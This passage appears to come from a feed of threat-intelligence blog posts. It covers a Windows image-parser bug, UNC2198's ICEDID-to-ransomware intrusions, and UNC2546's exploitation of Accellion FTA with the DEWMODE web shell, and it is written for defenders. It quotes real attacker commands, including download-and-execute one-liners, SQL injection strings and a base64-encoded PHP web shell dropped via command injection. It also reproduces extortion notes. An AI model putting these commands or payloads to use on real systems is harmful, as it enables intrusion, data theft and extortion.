00007ff94404563b windowscodecs!CDecoderFrame::CopyPixels+0xb5

Figure 8: Reading of uninitialized value

Depending on the uninitialized value (Figure 8), different code paths are taken in Expand2DLine, which will change the output pixels, as shown in Figure 9.

 {     {         if ( v11 != 1 || a2 )         {             unintValue = *++allocBuffer | (unintValue << 8);          // uninit mem read         }         else         {             unintValue <<= 8;             ++allocBuffer;         }         --v11;         v16 += 8;       }       v29 = unintValue >> (v16 - 8);       dependentUninitValue = *(l + 2i64 * v29);                                  v16 -= *(l + 2i64 * v29 + 1);       if ( dependentUninitValue >= 0 )             // path 1         break;       if ( dependentUninitValue < '\xC0' )         return 0xFFFFFFFFi64;                     // path 2   }   if ( dependentUninitValue <= 0x3F )              // path xx       break;

Figure 9: Use of uninitialized memory in if conditions

#### Patch

Microsoft decided to patch this vulnerability by using calloc instead of malloc, which initializes the allocated memory with zeros.

#### Conclusion

Part Two of this blog series presents multiple vulnerabilities in Windows’ built-in image parsers. In the next post, we will explore newer supported image formats in Windows such as RAW, HEIF and more.

# So Unchill: Melting UNC2198 ICEDID to Ransomware Operations

25 February 2021 at 16:00

Mandiant Advanced Practices (AP) closely tracks the shifting tactics, techniques, and procedures (TTPs) of financially motivated groups who severely disrupt organizations with ransomware. In May 2020, FireEye released a blog post detailing intrusion tradecraft associated with the deployment of MAZE. As of publishing this post, we track 11 distinct groups that have deployed MAZE ransomware. At the close of 2020, we noticed a shift in a subset of these groups that have started to deploy EGREGOR ransomware in favor of MAZE ransomware following access acquired from ICEDID infections.

Since its discovery in 2017 as a banking trojan, ICEDID evolved into a pernicious point of entry for financially motivated actors to conduct intrusion operations. In earlier years, ICEDID was deployed to primarily target banking credentials. In 2020 we observed adversaries using ICEDID more explicitly as a tool to enable access to impacted networks, and in many cases this was leading to the use of common post-exploitation frameworks and ultimately the deployment of ransomware. This blog post shines a heat lamp on the latest tradecraft of UNC2198, who used ICEDID infections to deploy MAZE or EGREGOR ransomware.

#### Building an Igloo: ICEDID Infections

Separate phases of intrusions are attributed to different uncategorized (UNC) groups when discrete operations such as obtaining access are not part of a contiguous operation. Pure “access operations” establish remote access into a target environment for follow on operations actioned by a separate group. A backdoor deployed to establish an initial foothold for another group is an example of an access operation.

Between July and December 2020, an ICEDID phishing infection chain consisted of a multi-stage process involving MOUSEISLAND and PHOTOLOADER (Figure 1).

Figure 1: Example UNC2420 MOUSEISLAND to ICEDID Infection Chain

MOUSEISLAND is a Microsoft Word macro downloader used as the first infection stage and is delivered inside a password-protected zip attached to a phishing email (Figure 2). Based on our intrusion data from responding to ICEDID related incidents, the secondary payload delivered by MOUSEISLAND has been PHOTOLOADER, which acts as an intermediary downloader to install ICEDID. Mandiant attributes the MOUSEISLAND distribution of PHOTOLOADER and other payloads to UNC2420, a distribution threat cluster created by Mandiant’s Threat Pursuit team. UNC2420 activity shares overlaps with the publicly reported nomenclature of “Shathak” or “TA551”.

Figure 2: UNC2420 MOUSEISLAND Phishing Email

#### Ice, Ice, BEACON...UNC2198

Although analysis is always ongoing, at the time of publishing this blog post, Mandiant tracks multiple distinct threat clusters (UNC groups) of various sizes that have used ICEDID as a foothold to enable intrusion operations. The most prominent of these threat clusters is UNC2198, a group that has targeted organizations in North America across a breadth of industries. In at least five cases, UNC2198 acquired initial access from UNC2420 MOUSEISLAND to conduct intrusion operations. In 2020, Mandiant attributed nine separate intrusions to UNC2198. UNC2198’s objective is to monetize their intrusions by compromising victim networks with ransomware. In July 2020, Mandiant observed UNC2198 leverage network access provided by an ICEDID infection to encrypt an environment with MAZE ransomware. As the year progressed into October and November, we observed UNC2198 shift from deploying MAZE to using EGREGOR ransomware during another Incident Response engagement. Like MAZE, EGREGOR is operated using an affiliate model, where affiliates who deploy EGREGOR are provided with proceeds following successful encryption and extortion for payment.

The UNC2198 cluster expanded over the course of more than six months. Mandiant’s December 2020 blog post on UNCs described the analytical tradecraft we use to merge and graduate clusters of activity. Merging UNCs is a substantial analytical practice in which indicators and tradecraft attributed to one group are scrutinized against another. Two former UNCs that shared similar modus operandi were eventually merged into UNC2198.

#### The Snowball Effect of Attribution

AP created UNC2198 based on a single intrusion in June 2020 involving ICEDID, BEACON, SYSTEMBC and WINDARC. UNC2198 compromised 32 systems in 26 hours during this incident; however, ransomware was not deployed. Throughout July 2020 we attributed three intrusions to UNC2198 from Incident Response engagements, including one resulting in the deployment of MAZE ransomware. In October 2020, a slew of activity at both Incident Response engagements and Managed Defense clients resulted in the creation of two new UNC groups, and another incident attributed to UNC2198.

One of the new UNC groups created in October 2020 was given the designation UNC2374. UNC2374 began as its own distinct cluster where BEACON, WINDARC, and SYSTEMBC were observed during an incident at a Managed Defense customer. Initial similarities in tooling did not constitute a strong enough link to merge UNC2374 with UNC2198 yet.

Two and a half months following the creation of UNC2374, we amassed enough data points to merge UNC2374 into UNC2198. Some of the data points used in merging UNC2374 into UNC2198 include:

• UNC2198 and UNC2374 Cobalt Strike Team Servers used self-signed certificates with the following subject on TCP port 25055:
 C = US, ST = CA, L = California, O = Oracle Inc, OU = Virtual Services, CN = oracle.com
• UNC2198 and UNC2374 deployed WINDARC malware to identical file paths: %APPDATA%\teamviewers\msi.dll
• The same code signing certificate used to sign an UNC2198 BEACON loader was used to sign two UNC2374 SYSTEMBC tunneler payloads.
• UNC2374 and UNC2198 BEACON C2 servers were accessed by the same victim system within a 10-minute time window during intrusion operations.

The other UNC group created in October 2020 was given the designation UNC2414. Three separate intrusions were attributed to UNC2414, and as the cluster grew, we surfaced similarities between UNC2414 and UNC2198. A subset of the data points used to merge UNC2414 into UNC2198 include:

• UNC2198 and UNC2414 BEACON servers used self-signed certificates using the following subject on TCP port 25055:
 C = US, ST = CA, L = California, O = Oracle Inc, OU = Virtual Services, CN = oracle.com
• UNC2198 and UNC2414 installed BEACON as C:\Windows\int32.dll
• UNC2198 and UNC2414 installed the RCLONE utility as C:\Perflogs\rclone.exe
• UNC2198 and UNC2414 were proven to be financially motivated actors that had leveraged ICEDID as initial access:

The merge between UNC2198 and UNC2414 was significant because it revealed UNC2198 has access to EGREGOR ransomware. The timing of the EGREGOR usage is also consistent with MAZE ransomware shutting down as reported by Mandiant Intelligence. Figure 3 depicts the timeline of related intrusions and merges into UNC2198.

Figure 3: UNC2198 timeline

#### UNC2198 Intrusion Flow: After Initial Access

Expanding the UNC2198 cluster through multiple intrusions and merges with other UNC groups highlights the range of TTPs employed. We have pulled out some key data from all our UNC2198 intrusions to illustrate an amalgamation of capabilities used by the threat actor.

Establish Foothold

After obtaining access, UNC2198 has deployed additional malware using various techniques. For instance, UNC2198 used InnoSetup droppers to install a WINDARC backdoor on the target host. UNC2198 also used BITS Jobs and remote PowerShell downloads to download additional tools like SYSTEMBC for proxy and tunneler capabilities. Example commands for download and execution are:

 %COMSPEC% /C echo bitsadmin /transfer 257e http:///.exe %APPDATA%.exe & %APPDATA%.exe & del %APPDATA% .exe ^> %SYSTEMDRIVE%\WINDOWS\Temp\FmpaXUHFennWxPIM.txt > \WINDOWS\Temp\MwUgqKjEDjCMDGmC.bat & %COMSPEC% /C start %COMSPEC% /C \WINDOWS\Temp\MwUgqKjEDjCMDGmC.bat %COMSPEC% /C echo powershell.exe -nop -w hidden -c (new-object System.Net.WebClient).Downloadfile(http:///.exe, .exe) ^> %SYSTEMDRIVE%\WINDOWS\Temp\AVaNbBXzKyxktAZI.txt > \WINDOWS\Temp\yoKjaqTIzJhdDLjD.bat & %COMSPEC% /C start %COMSPEC% /C \WINDOWS\Temp\yoKjaqTIzJhdDLjD.bat

UNC2198 has used Cobalt Strike BEACON, Metasploit METERPRETER, KOADIC, and PowerShell EMPIRE offensive security tools during this phase as well.

Offensive Security Tooling

UNC2198 has used offensive security tools similarly seen across many threat actors. UNC2198 has used BEACON in roughly 90% of their intrusions. UNC2198 installs and executes Cobalt Strike BEACON in a variety of ways, including shellcode loaders using PowerShell scripts, service executables, and DLLs. While the ways and means of using BEACON are not inherently unique, there are still aspects to extrapolate that shed light on UNC2198 TTPs.

Focusing in on specific BEACON executables tells a different story beyond the use of the tool itself. Aside from junk code and API calls, UNC2198 BEACON and METERPRETER executables often exhibit unique characteristics of malware packaging, including odd command-line arguments visible within strings and upon execution via child processes:

 cmd.exe /c echo TjsfoRdwOe=9931 & reg add HKCU\SOFTWARE\WIlumYjNSyHob /v xFCbJrNfgBNqRy /t REG_DWORD /d 3045 & exit cmd.exe /c echo ucQhymDRSRvq=1236 & reg add HKCU\\SOFTWARE\\YkUJvbgwtylk /v KYIaIoYxqwO /t REG_DWORD /d 9633 & exit cmd.exe /c set XlOLqhCejHbSNW=8300 & reg add HKCU\SOFTWARE\WaMgGneKhtgTTy /v LbmWADsevLywrkP /t REG_DWORD /d 3809 & exit

These example commands are non-functional, as they do not modify or alter payload execution.

Another technique involves installing BEACON using a file path containing mixed Unicode-escaped and ASCII characters to evade detection:

 Unicode Escaped C:\ProgramData\S\u0443sH\u0435\u0430ls\T\u0430s\u0441host.exe Unicode Unescaped C:\ProgramData\SуsHеаls\Tаsсhost.exe

The executable was then executed by using a Scheduled Task named shadowdev:

 cmd.exe /c schtasks /create /sc minute /mo 1 /tn shadowdev /tr C:\\ProgramData\\S\u0443sH\u0435\u0430ls\\T\u0430s\u0441host.exe

While the previous examples are related to compiled executables, UNC2198 has also used simple PowerShell download cradles to execute Base64-encoded and compressed BEACON stagers in memory:

Discovery and Reconnaissance

UNC2198 has exhibited common TTPs seen across many threat groups during discovery and reconnaissance activities. UNC2198 has used the BloodHound active directory mapping utility during intrusions from within the “C:\ProgramData” and “C:\Temp” directories.

The following are collective examples of various commands executed by UNC2198 over time to enumerate a compromised environment:

 arp -a whoami /groups whoami.exe  /groups /fo csv whoami /all net user net groups "Domain Admins" /domain net group "Enterprise admins" /domain net group "local admins" /domain net localgroup "administrators" /domain nltest /domain_trusts nltest /dclist:

#### Lateral Movement and Privilege Escalation

UNC2198 has used Windows Remote Management and RDP to move laterally between systems. UNC2198 has also performed remote execution of BEACON service binaries on targeted systems to move laterally. UNC2198 launches SMB BEACON using PowerShell, executing command lines such as the following:

During one intrusion, UNC2198 used the SOURBITS privilege escalation utility to execute files on a target system. SOURBITS is a packaged exploit utility for CVE-2020-0787, which is a vulnerability that was disclosed in 2020 for Windows Background Intelligent Transfer Service (BITS). SOURBITS consists of code derived from a GitHub Repository that is implemented as a command-line utility, which can execute arbitrary files with elevated privileges. UNC2198 used SOURBITS with the following components:

The file runsysO.cr is an XOR-encoded PE executable that exploits CVE-2020-0787, and based on the target system's bitness, it will drop one of two embedded SOURBITS payloads.

Data Theft, Ransomware Deployment and #TTR

Like other financially motivated threat actors, part of UNC2198’s modus operandi in latter stages of intrusions involves the exfiltration of hundreds of gigabytes of the victim organizations’ data before ransomware is installed. Specifically, UNC2198 has used RCLONE, a command line utility used to synchronize cloud storage, to aid in the exfiltration of sensitive data. In all observed cases of data theft, RCLONE was used by UNC2198 from the “C:\PerfLogs\rclone.exe” file path.

Time-to-Ransom" (TTR) is the delta between first-attributed access time and the time of ransomware deployment. TTR serves as a useful gauge of how quickly an organization needs to respond to stave off a threat actor’s successful deployment of ransomware. TTR is not a perfect quantification, as external factors such as an organization’s security posture can drastically affect the measurement.

In this post, the TTR of UNC2198 is measured between ICEDID activity to the deployment of ransomware. In July 2020, UNC2198 deployed MAZE ransomware using PSEXEC, and the TTR was 5.5 days. In October 2020, UNC2198 deployed EGREGOR ransomware using forced GPO updates, and the TTR was 1.5 days.

#### Looking Forward

Threat actors leveraging access obtained through mass malware campaigns to deploy ransomware is a growing trend. The efficiency of ransomware groups places a significant burden on defenders to rapidly respond before ransomware deployment. As ransomware groups continue to gain operational expertise through successful compromises, they will continue to shorten their TTR while scaling their operations. Understanding the TTPs fundamental to a specific operation like UNC2198 provides an edge to defenders in their response efforts. Our unparalleled understanding of groups like UNC2198 is translated into Mandiant Advantage. Accessing our holdings in Mandiant Advantage aids defenders in recognizing TTPs used by threat actors, assessing organizational risk, and taking action. Initial investments made into rapidly assessing a group’s modus operandi pays dividends when they inevitably evolve and swap out components of their toolset. Whether it be MAZE or EGREGOR, something icy or hot, Advanced Practices will continue to pursue these unchill threat actors.

#### Acknowledgements

Thank you to Dan Perez, Andrew Thompson, Nick Richard, Cian Lynch and Jeremy Kennelly for technical review of this content. In addition, thank you to Mandiant frontline responders for harvesting the valuable intrusion data that enables our research.

#### Appendix: Malware Families

PHOTOLOADER is a downloader that has been observed to download ICEDID. It makes an HTTP request for a fake image file, which is RC4 decrypted to provide the final payload. Host information is sent to the command and control (C2) via HTTP cookies. Samples have been observed to contain an embedded C2 configuration that contain the real C2 with a number of non-malicious domains. The non-malicious domains are contacted in addition to the real C2.

WINDARC is a backdoor that hijacks the execution of TeamViewer to perform C2 communication. It supports plugins and accepts several backdoor commands. The commands include interacting with the TeamViewer tool, starting a reverse shell, loading new plugins, downloading and executing files, and modifying configuration settings.

SYSTEMBC is a proxy malware that beacons to its C2 and opens new proxy connections between the C2 and remote hosts as indicated by the C2. Proxied communications are encrypted with RC4. The malware receives commands via HTTP and creates new proxy connections as directed. Underground sales advertisements refer to the software as a “socks5 backconnect system”. The malware is typically used to hide the malicious traffic associated with other malware.

#### Appendix: Detecting the Techniques

FireEye security solutions detect these threats across email, endpoint, and network levels. The following is a snapshot of existing detections related to activity outlined in this blog post.

#### Appendix: Indicators

 95b78f4d3602aeea4f7a33c9f1b49a97 SYSTEMBC 0378897e4ec1d1ee4637cff110635141 SYSTEMBC c803200ad4b9f91659e58f0617f0dafa SYSTEMBC ad4d445091a3b66af765a1d653fd1eb7 SYSTEMBC 9ecf25b1e9be0b20822fe25269fa5d02 SYSTEMBC e319f5a8fe496c0c8247e27c3469b20d SYSTEMBC a8a7059278d82ce55949168fcd1ddde4 SYSTEMBC aea530f8a0645419ce0abe1bf2dc1584 SYSTEMBC 3098fbc98e90d91805717d7a4f946c27 SYSTEMBC 45.141.84.212:4132 SYSTEMBC 45.141.84.223:4132 SYSTEMBC 79.141.166.158:4124 SYSTEMBC 149.28.201.253:4114 SYSTEMBC 193.34.167.34:80 BEACON 195.123.240.219:80 BEACON 23.227.193.167:80 BEACON 5.149.253.199:80 BEACON e124cd26fcce258addc85d7f010655ea BEACON 7ae990c12bf5228b6d1b90d40ad0a79f BEACON 3eb552ede658ee77ee4631d35eac6b43 BEACON c188c6145202b65a941c41e7ff2c9afd BEACON 2f43055df845742d137a18b347f335a5 BEACON 87dc37e0edb39c077c4d4d8f1451402c ICEDID 1efababd1d6bd869f005f92799113f42 ICEDID a64e7dd557e7eab3513c9a5f31003e68 ICEDID 9760913fb7948f2983831d71a533a650 ICEDID 14467102f8aa0a0d95d0f3c0ce5f0b59 ICEDID colombosuede.club ICEDID colosssueded.top ICEDID golddisco.top ICEDID june85.cyou ICEDID

#### Appendix: Mandiant Security Validation Actions

Organizations can validate their security controls against more than 60 actions with Mandiant Security Validation.

#### Appendix: UNC2198 MITRE ATT&CK Mapping

 ATT&CK Tactic Category Techniques Resource Development Acquire Infrastructure (T1583) Virtual Private Server (T1583.003) Develop Capabilities (T1587) Digital Certificates (T1587.003) Obtain Capabilities (T1588) Code Signing Certificates (T1588.003) Digital Certificates (T1588.004) Initial Access Phishing (T1566) Spearphishing Attachment (T1566.001) External Remote Services (T1133) Valid Accounts (T1078) Execution Command and Scripting Interpreter (T1059) PowerShell (T1059.001) Visual Basic (T1059.005) Windows Command Shell (T1059.003) Scheduled Task/Job (T1053) Scheduled Task (T1053.005) System Services (T1569) Service Execution (T1569.002) User Execution (T1204) Malicious File (T1204.002) Windows Management Instrumentation (T1047) Persistence External Remote Services (T1133) Scheduled Task/Job (T1053) Scheduled Task (T1053.005) Valid Accounts (T1078) Privilege Escalation Process Injection (T1055) Scheduled Task/Job (T1053) Scheduled Task (T1053.005) Valid Accounts (T1078) Defense Evasion Impair Defenses (T1562) Disable or Modify System Firewall (T1562.004) Disable or Modify Tools (T1562.001) Indicator Removal on Host (T1070) Timestomp (T1070.006) Indirect Command Execution (T1202) Modify Registry (T1112) Obfuscated Files or Information (T1027) Steganography (T1027.003) Process Injection (T1055) Signed Binary Proxy Execution (T1218) Mshta (T1218.005) Subvert Trust Controls (T1553) Code Signing (T1553.002) Valid Accounts (T1078) Virtualization/Sandbox Evasion (T1497) Credential Access OS Credential Dumping (T1003) Discovery Account Discovery (T1087) Local Account (T1087.001) Domain Trust Discovery (T1482) File and Directory Discovery (T1083) Permission Groups Discovery (T1069) System Information Discovery (T1082) System Network Configuration Discovery (T1016) System Owner/User Discovery (T1033) Virtualization/Sandbox Evasion (T1497) Lateral Movement Remote Services (T1021) Remote Desktop Protocol (T1021.001) SMB/Windows Admin Shares (T1021.002) SSH (T1021.004) Collection Archive Collected Data (T1560) Archive via Utility (T1560.001) Command and Control Application Layer Protocol (T1071) Web Protocols (T1071.001) Encrypted Channel (T1573) Asymmetric Cryptography (T1573.002) Ingress Tool Transfer (T1105) Proxy (T1090) Multi-hop Proxy (T1090.003)

# Cyber Criminals Exploit Accellion FTA for Data Theft and Extortion

22 February 2021 at 14:00

Starting in mid-December 2020, malicious actors that Mandiant tracks as UNC2546 exploited multiple zero-day vulnerabilities in Accellion’s legacy File Transfer Appliance (FTA) to install a newly discovered web shell named DEWMODE. The motivation of UNC2546 was not immediately apparent, but starting in late January 2021, several organizations that had been impacted by UNC2546 in the prior month began receiving extortion emails from actors threatening to publish stolen data on the “CL0P^_- LEAKS" .onion website. Some of the published victim data appears to have been stolen using the DEWMODE web shell.

Notably, the number of victims on the “CL0P^_- LEAKS" shaming website has increased in February 2021 with organizations in the United States, Singapore, Canada, and the Netherlands recently outed by these threat actors. Mandiant has previously reported that FIN11 has threatened to post stolen victim data on this same .onion site as an additional tactic to pressure victims into paying extortion demands following the deployment of CLOP ransomware. However, in recent CLOP extortion incidents, no ransomware was deployed nor were the other hallmarks of FIN11 present.

We are currently tracking the exploitation of the zero-day Accellion FTA vulnerabilities and data theft from companies running the legacy FTA product as UNC2546, and the subsequent extortion activity as UNC2582. We have identified overlaps between UNC2582, UNC2546, and prior FIN11 operations, and we will continue to evaluate the relationships between these clusters of activity. For more information on our use of ‘UNC’ designations, see our blog post, "DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors."

Mandiant has been working closely with Accellion in response to these matters and will be producing a complete security assessment report in the coming weeks. At this time, Accellion has patched all FTA vulnerabilities known to be exploited by the threat actors and has added new monitoring and alerting capabilities to flag anomalies associated with these attack vectors. Mandiant has validated these patches. Mandiant is currently performing penetration testing and code review of the current version of the Accellion FTA product and has not found any other critical vulnerabilities in the FTA product based on our analysis to date. Accellion customers using the FTA legacy product were the targets of the attack.

Accellion FTA is a 20-year-old product nearing end of life. Accellion strongly recommends that FTA customers migrate to kiteworks, Accellion’s enterprise content firewall platform. Per Accellion, Kiteworks is built on an entirely different code base.

The following CVEs have since been reserved for tracking the recently patched Accellion FTA vulnerabilities:

#### UNC2546 and DEWMODE

In mid-December 2020, Mandiant responded to multiple incidents in which a web shell we call DEWMODE was used to exfiltrate data from Accellion FTA devices. The Accellion FTA device is a purpose-built application designed to allow an enterprise to securely transfer large files. The exfiltration activity has affected entities in a wide range of sectors and countries.

Across these incidents, Mandiant observed common infrastructure usage and TTPs, including exploitation of FTA devices to deploy the DEWMODE web shell. Mandiant determined that a common threat actor we now track as UNC2546 was responsible for this activity. While complete details of the vulnerabilities leveraged to install DEWMODE are still being analyzed, evidence from multiple client investigations has shown multiple commonalities in UNC2546's activities.

#### Evidence of Exploitation and DEWMODE Installation

Mandiant has been able reconstruct many of the details about how Accellion FTAs have been compromised through examination of Apache and system logs from impacted devices—from initial compromise, to deployment of DEWMODE, and follow-on interaction.

The earliest identification of activity associated with this campaign occurred in mid-December 2020. At this time, Mandiant identified UNC2546 leveraging an SQL injection vulnerability in the Accellion FTA. This SQL injection served as the primary intrusion vector.

Mandiant observed evidence of SQL injection followed by subsequent requests to additional resources, as shown in Figure 1.

 [21/Dec/2020:18:14:32 +0000] [.'))union(select(c_value)from(t_global)where(t_global.c_param)=('w1'))#/sid#935ee00][rid#9700968/initial] (1) pass through /courier/document_root.html [21/Dec/2020:18:14:33 +0000] ['))union(select(loc_id)from(net1.servers)where(proximity)=(0))#/sid#935ee00][rid#9706978/initial] (1) pass through /courier/document_root.html [21/Dec/2020:18:14:33 +0000] [.'))union(select(reverse(c_value))from(t_global)where(t_global.c_param)=('w1'))#/sid#935ee00][rid#971c098/initial] (1) pass through /courier/document_root.html [21/Dec/2020:18:14:34 +0000] [/sid#935ee00][rid#971a090/initial] (1) pass through /courier/sftp_account_edit.php [21/Dec/2020:18:14:35 +0000] [/sid#935ee00][rid#9706978/initial] (1) pass through /courier/oauth.api [21/Dec/2020:18:14:35 +0000] [/sid#935ee00][rid#9708980/initial] (1) pass through /courier/oauth.api

Figure 1: SQL injection log

UNC2546 has leveraged this SQL injection vulnerability to retrieve a key which appears to be used in conjunction with a request to the file sftp_account_edit.php. Immediately after this request, the built-in Accellion utility admin.pl was executed, resulting in an eval web shell being written to oauth.api.

 PWD=/home/seos/courier ; USER=root ; COMMAND=/usr/local/bin/admin.pl --edit_user=F --mount_cifs=- V,DF,$(echo${IFS}PD9waHAKCmlmKGlzc2V0KCRfUkVRVUVTVFsndG9rZW4nXSkpCnsKICAgIGV2YWwoYm FzZTY0X2RlY29kZSgkX1JFUVVFU1RbJ3Rva2VuJ10pKTsKfQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsnd XNlcm5hbWUnXSkpCnsKICAgIHN5c3RlbSgkX1JFUVVFU1RbJ3VzZXJuYW1lJ10pOwp9CmVsc2UKewogICAgaG VhZGVyKCdMb2NhdGlvbjogLycpOwp9|base64${IFS}-d|tee${IFS}/home/seos/courier/oauth.api);FUK;",PASSWORD # \" --passwd=pop

Figure 2: Excerpt from log showing creation of eval web shell

The decoded contents are shown in Figure 3.



Figure 3: Decoded eval web shell

Almost immediately following this sequence, the DEWMODE web shell is written to the system. The timing of these requests suggests that DEWMODE was delivered via the oauth.api web shell; however, the available evidence does not indicate the exact mechanism used to write DEWMODE to disk.

Mandiant has identified the DEWMODE web shell in one of the following two locations:

The DEWMODE web shell (Figure 4) extracts a list of available files from a MySQL database on the FTA and lists those files and corresponding metadata—file ID, path, filename, uploader, and recipient—on an HTML page. UNC2546 then uses the presented list to download files through the DEWMODE web shell. Download requests are captured in the FTA’s web logs, which will contain requests to the DEWMODE web shell with encrypted and encoded URL parameters, where dwn is the file path and fn is the requested file name (Figure 5). The encrypted file path and name values visible in web logs can be decrypted using key material obtained from the database used by the targeted FTA. Given the complex nature of this process, if your organization needs assistance reviewing relevant logs, please contact Mandiant or Accellion.

Figure 4: DEWMODE web shell screenshot

 GET /courier/about.html?dwn=[REDACTED]&fn=[REDACTED] HTTP/1.1" 200 1098240863 "-" "-" "-" TLSv1.2 ECDHE-RSA-AES128-SHA256

Following file downloads, UNC2546 initiates a cleanup routine by passing a specific query parameter named csrftoken with the value 11454bd782bb41db213d415e10a0fb3c to DEWMODE. The following actions are performed:

• A shell script is written to /tmp/.scr, which will:
• Remove all references to about.html from log files located in /var/opt/apache/
• Write the modified log file to /tmp/x then replace the original log file at /var/opt/apache/
• Delete the contents of the /home/seos/log/adminpl.log log file.
• Remove /home/seos/courier/about.html (DEWMODE) and /home/seos/courier/oauth.api (eval web shell), and redirect command output to the file /tmp/.out
• Change the permissions of the output file to be readable, writeable and executable by all users, and set the owner to “nobody”
• Delete the script file /tmp/.scr and other temporarily created files to assist in cleanup
• Display cleanup output to the requesting user

An example of a cleanup request and subsequent execution of the cleanup script can be seen in Figure 6.

 GET /courier/about.html?csrftoken=11454bd782bb41db213d415e10a0fb3c HTTP/1.1" 200 5 "-" "https://[REDACTED]//courier/about.html?aid=1000" "Mozilla/5.0 (X11; Linux x86_64; rv:82.0) Gecko/20100101 sft sudo:   nobody : TTY=unknown ; PWD=/home/seos/courier ; USER=root ; COMMAND=/usr/local/bin/admin.pl --mount_cifs=AF,DF,'$(sh /tmp/.scr)',PASSWORD Figure 6: DEWMODE cleanup request Mandiant also identified a variant of DEWMODE (bdfd11b1b092b7c61ce5f02ffc5ad55a) which contained minor changes to the cleanup operation, including wiping of /var/log/secure and removing about.html and oauth.api from the directories /home/httpd/html/ instead of /home/seos/courier/. In a subset of incidents, Mandiant observed UNC2546 requesting a file named cache.js.gz (Figure 7). Based on temporal file access to the mysqldump utility and mysql data directories, the archive likely contained a dump of the database. With the exception of cache.js.gz, Mandiant has not observed UNC2546 acquiring files from Accellion appliances through any method besides DEWMODE.  GET //courier/cache.js.gz HTTP/1.1" 200 35654360 "-" "-" "python-requests/2.24.0" TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 Figure 7: cache.js.gz file request #### UNC2582 Data Theft Extortion Shortly after installation of the web shell, in multiple cases within hours, UNC2546 leveraged DEWMODE to download files from compromised FTA instances. While the actors’ motivations were not immediately clear, several weeks after delivery of the DEWMODE web shell, victims began to receive extortion emails from an actor claiming association with the CLOP ransomware team (Figure 8 and Figure 9). The actors threatened to publish data on the "CL0P^_- LEAKS" .onion shaming website, unless the victim paid an extortion fee. We are tracking the subsequent extortion activity under a separate threat cluster, UNC2582. Despite tracking the exploitation and extortion activity in separate threat clusters we have observed at least one case where an actor interacted with a DEWMODE web shell from a host that was used to send UNC2582-attributed extortion email.  Hello! Your network has been hacked, a lot of valuable data stolen. We are the CLOP ransomware team, you can google news and articles about us. We have a website where we publish news and stolen files from companies that have refused to cooperate. Here is his address http://[redacted].onion/ - use TOR browser or http://[redacted].onion.dog/ - mirror. We are visited by 20-30 thousand journalists, IT experts, hackers and competitors every day. We suggest that you contact us via chat within 24 hours to discuss the current situation. - use TOR browser We don't want to hurt, our goal is money. We are also ready to provide any evidence of the presence of files with us. Figure 8: Extortion Note Template 1  This is the last warning! If you don’t get in touch today, tomorrow we will create a page with screenshots of your files (like the others on our site), send messages to all the emails that we received from your files. Due to the fact that journalists and hackers visit our site, calls and questions will immediately begin, online publications will begin to publish information about the leak, you will be asked to comment. Do not let this happen, write to us in chat or email and we will discuss the situation! CHAT: EMAIL: [email protected] USE TOR BROWSER! Figure 9: Extortion Note Template 2 Based on observations at several engagements, UNC2582 appears to follow a pattern of escalation to pressure victims into paying extortion demands. Initial emails are sent from a free email account, likely unique per victim, to a seemingly limited distribution of addresses at the victim organization. If the victim does not respond in a timely manner, additional emails are sent to a much larger number of recipients from hundreds or thousands of different email accounts and using varied SMTP infrastructure. In at least one case, UNC2582 also sent emails to partners of the victim organization that included links to the stolen data and negotiation chat. Monitoring of the CL0P^_- LEAKS shaming website has demonstrated that UNC2582 has followed through on threats to publish stolen data as several new victims have appeared on the site in recent weeks, including at least one organization that has publicly confirmed that their Accellion FTA device had been recently targeted. #### Key Overlaps With FIN11 UNC2582 (Extortion) and FIN11 Mandiant identified overlaps between UNC2582’s data theft extortion activity and prior FIN11 operations, including common email senders and the use of the CL0P^_- LEAKS shaming site. While FIN11 is known for deploying CLOP ransomware, we have previously observed the group conduct data theft extortion without ransomware deployment, similar to these cases. • Some UNC2582 extortion emails observed in January 2021 were sent from IP addresses and/or email accounts used by FIN11 in multiple phishing campaigns between August and December 2020, including some of the last campaigns that were clearly attributable to the group. • We have not observed FIN11 phishing activity in the new year. FIN11 has typically paused their phishing operations over the winter holidays and had several extended gaps in their operations. However, the timing of this current hiatus is also consistent with UNC2582’s data theft extortion activity. • UNC2582 extortion emails contained a link to the CL0P^_- LEAKS website and/or a victim specific negotiation page. The linked websites were the same ones used to support historical CLOP operations, a series of ransomware and data theft extortion campaigns we suspect can be exclusively attributed to FIN11. UNC2546 (FTA Exploitation and DEWMODE) and FIN11 There are also limited overlaps between FIN11 and UNC2546. • Many of the organizations compromised by UNC2546 were previously targeted by FIN11. • An IP address that communicated with a DEWMODE web shell was in the "Fortunix Networks L.P." netblock, a network frequently used by FIN11 to host download and FRIENDSPEAK command and control (C2) domains. #### Implications The overlaps between FIN11, UNC2546, and UNC2582 are compelling, but we continue to track these clusters separately while we evaluate the nature of their relationships. One of the specific challenges is that the scope of the overlaps with FIN11 is limited to the later stages of the attack life cycle. UNC2546 uses a different infection vector and foothold, and unlike FIN11, we have not observed the actors expanding their presence across impacted networks. We therefore have insufficient evidence to attribute the FTA exploitation, DEWMODE, or data theft extortion activity to FIN11. Using SQL injection to deploy DEWMODE or acquiring access to a DEWMODE shell from a separate threat actor would represent a significant shift in FIN11 TTPs, given the group has traditionally relied on phishing campaigns as its initial infection vector and we have not previously observed them use zero-day vulnerabilities. #### Acknowledgements David Wong, Brandon Walters, Stephen Eckels and Jon Erickson #### Indicators of Compromise (IOCs) DEWMODE Web Shells  MD5 SHA256 2798c0e836b907e8224520e7e6e4bb42 5fa2b9546770241da7305356d6427847598288290866837626f621d794692c1b bdfd11b1b092b7c61ce5f02ffc5ad55a 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 UNC2546 Source IP Addresses The following source IP addresses were observed in multiple UNC2546 intrusions: • 45.135.229.179 • 79.141.162.82 • 155.94.160.40 • 192.154.253.120 • 192.52.167.101 • 194.88.104.24 #### Detections FireEye Detections • FE_Webshell_PHP_DEWMODE_1 • FEC_Webshell_PHP_DEWMODE_1 • Webshell.PHP.DEWMODE Mandiant Security Validation • A101-515 Malicious File Transfer - DEWMODE Webshell, Upload, Variant #1 • A101-516 Malicious File Transfer - DEWMODE Webshell, Upload, Variant #2 DEWMODE YARA Rule The following YARA rule is not intended to be used on production systems or to inform blocking rules without first being validated through an organization's own internal testing processes to ensure appropriate performance and limit the risk of false positives. This rule is intended to serve as a starting point for hunting efforts to identify DEWMODE payloads; however, it may need adjustment over time if the malware family changes.  rule DEWMODE_PHP_Webshell { 